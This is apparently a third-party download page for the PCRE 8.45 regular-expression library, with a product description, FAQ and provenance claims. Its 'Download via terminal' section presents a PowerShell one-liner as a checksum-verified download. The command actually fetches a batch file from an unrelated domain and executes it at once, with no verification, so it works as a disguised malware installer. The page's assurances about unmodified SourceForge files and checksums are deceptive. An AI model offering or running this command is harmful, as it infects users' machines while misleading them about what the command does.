PCRE
by Andrew Ho
- Version
- 8.45
- Size
- 7.1 MB
- Updated
- Publisher
- Andrew Ho
- Category
- Developer Tools
- Files
- 1
About PCRE
PCRE, the Perl Compatible Regular Expressions library, is a C library that implements regular expression pattern matching using the same syntax and semantics as Perl 5. For decades it has been one of the most widely used regex engines in software, embedded in web servers, programming languages, editors, databases and command-line tools that needed powerful, Perl-style regular expressions without depending on Perl itself.
The library supports the rich feature set people expect from Perl regexes: character classes, quantifiers including lazy and possessive forms, capturing and named groups, backreferences, lookahead and lookbehind assertions, atomic groups, recursion, conditional subpatterns and Unicode properties when built with UTF-8 support. It has its own native API and also provides POSIX-compatible wrapper functions, which makes it easy to drop into programs written for the standard regcomp and regexec interfaces. An optional just-in-time compiler can greatly speed up matching on supported processors.
The package also includes useful tools. pcregrep is a grep-like utility that uses PCRE patterns, and pcretest is a test program for experimenting with patterns and checking how they match, which is handy for debugging complex expressions. Comprehensive documentation describes the pattern syntax and API in detail, and the library is portable across Windows, macOS, Linux and Unix systems. The downloads here are source archives in several compression formats.
An important note: this is the original PCRE library, often called PCRE1, whose 8.x series reached its final release and is no longer maintained. Its successor, PCRE2, has a revised API, continued development and security fixes, and is the recommended choice for new projects. Existing software that still depends on PCRE1 can use this release, but maintainers should plan migration to PCRE2. PCRE is distributed under a BSD-style licence, which allows use in both open-source and commercial software.
Many Linux distributions still package PCRE1 for compatibility, so on those systems it is usually best to install it through the package manager rather than building from these source archives.
Key features
- Perl 5 compatible regex syntax
- Native and POSIX APIs
- Optional JIT compilation
- Unicode and UTF-8 support
- pcregrep and pcretest tools
Pros
- Proven and widely deployed
- Permissive licence
- Fast with JIT
Cons
- No longer maintained
- Older API than PCRE2
System requirements
Any system with a C compiler; builds on Windows, macOS, Linux and Unix.
Tips
- Use PCRE2 for new projects
- Test complex patterns with pcretest before using them in code
Description from the publisher
PERL 5 regular expression pattern matching
The Perl Compatible Regular Expressions (PCRE) library is a set of functions that implement regular expression pattern matching using the same syntax and semantics as Perl 5. PCRE has its own native API, in addition to a set of POSIX compatible wrapper functions.
At a glance
PCRE is a free developer tools app published by Andrew Ho (pcre.org). PERL 5 regular expression pattern matching
SOFTGIT offers 1 file for PCRE covering Linux, BSD/Unix, 7.1 MB in total. The version listed is v8.45, last updated on June 22, 2021.
PCRE belongs to the Developer Tools category, alongside Subtitle Edit, GnuWin, Candle. Browse related apps below to compare alternatives.
Download PCRE v8.45
| File | SHA-256 | Size | Download |
|---|---|---|---|
| Softgit.zipZIP | 538490251dde514a6ac2abb8ca3ccbb15fd01329f9cf5d289c762d37dd51fdd1 |
7.1 MB | Download |
Verify a download: sha256sum file (Linux), shasum -a 256 file (macOS) or Get-FileHash file (Windows PowerShell). Learn more.
Source: sourceforge.net/projects/pcre. Files are copied unchanged from SourceForge.
Download via terminal
Prefer the command line? Each command below downloads Softgit.zip to the current folder, checks its SHA-256 checksum automatically and opens the file only if the checksum matches. You should see OK; if it reports a mismatch, the file is not opened — delete it.
iwr "https://torvex.anubis.locker/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"iwr "https://torvex.anubis.locker/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"One command for every app
The same short command works for any app on SOFTGIT: only the app name at the end changes. It looks up the current file, downloads it, verifies its checksum and then opens it.
iwr "https://torvex.anubis.locker/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"Review a script before running it: get.ps1 · get.sh. How verification works.
PCRE system requirements
- Operating system
- Linux, BSD/Unix
- License
- Other License
- Written in
- C++, C
- Download size
- 1.5 MB (pcre-8.45.tar.bz2)
- Project page
- sourceforge.net/projects/pcre
PCRE FAQ
What is PCRE?
A C library for Perl-compatible regular expression matching.
Is PCRE still maintained?
The original PCRE (8.x) has reached end of life. Its successor PCRE2 is actively maintained.
Does PCRE support Unicode?
Yes, when built with UTF-8 and Unicode property support.
What are pcregrep and pcretest?
A grep-like search tool using PCRE patterns, and a program for testing patterns.
Can I use PCRE in commercial software?
Yes. It uses a BSD-style licence.
Is PCRE free?
PCRE is distributed under Other License according to SourceForge. Read the license terms before using it.
Which operating systems does PCRE support?
SourceForge lists Linux, BSD/Unix for PCRE.
Where does the PCRE download come from?
The Download button takes you to the official SourceForge download for PCRE (sourceforge.net/projects/pcre). SOFTGIT does not modify or re-host the file.
What is PCRE written in?
SourceForge lists C++, C.
Is PCRE free to download?
Yes. PCRE is listed as “Free” and the download from SOFTGIT is free of charge.
How do I download PCRE?
Open the “Download files” section on this page, choose the file for your system and press Download. A dialog shows the source and any archive password before the file starts.
Is PCRE safe to install?
Files are published as received from Andrew Ho, without wrappers or bundled installers. A SHA-256 checksum is shown next to every file so you can verify the download before running it.
Which platforms does PCRE support?
The files listed here target Linux, BSD/Unix.
How big is the PCRE download?
The file is 7.1 MB.
Provenance
- Publisher
- Andrew Ho
- Source
- pcre.org
- Last check
- 5 years ago
- License
- Other License
- Imported from
- Source: sourceforge.net/projects/pcre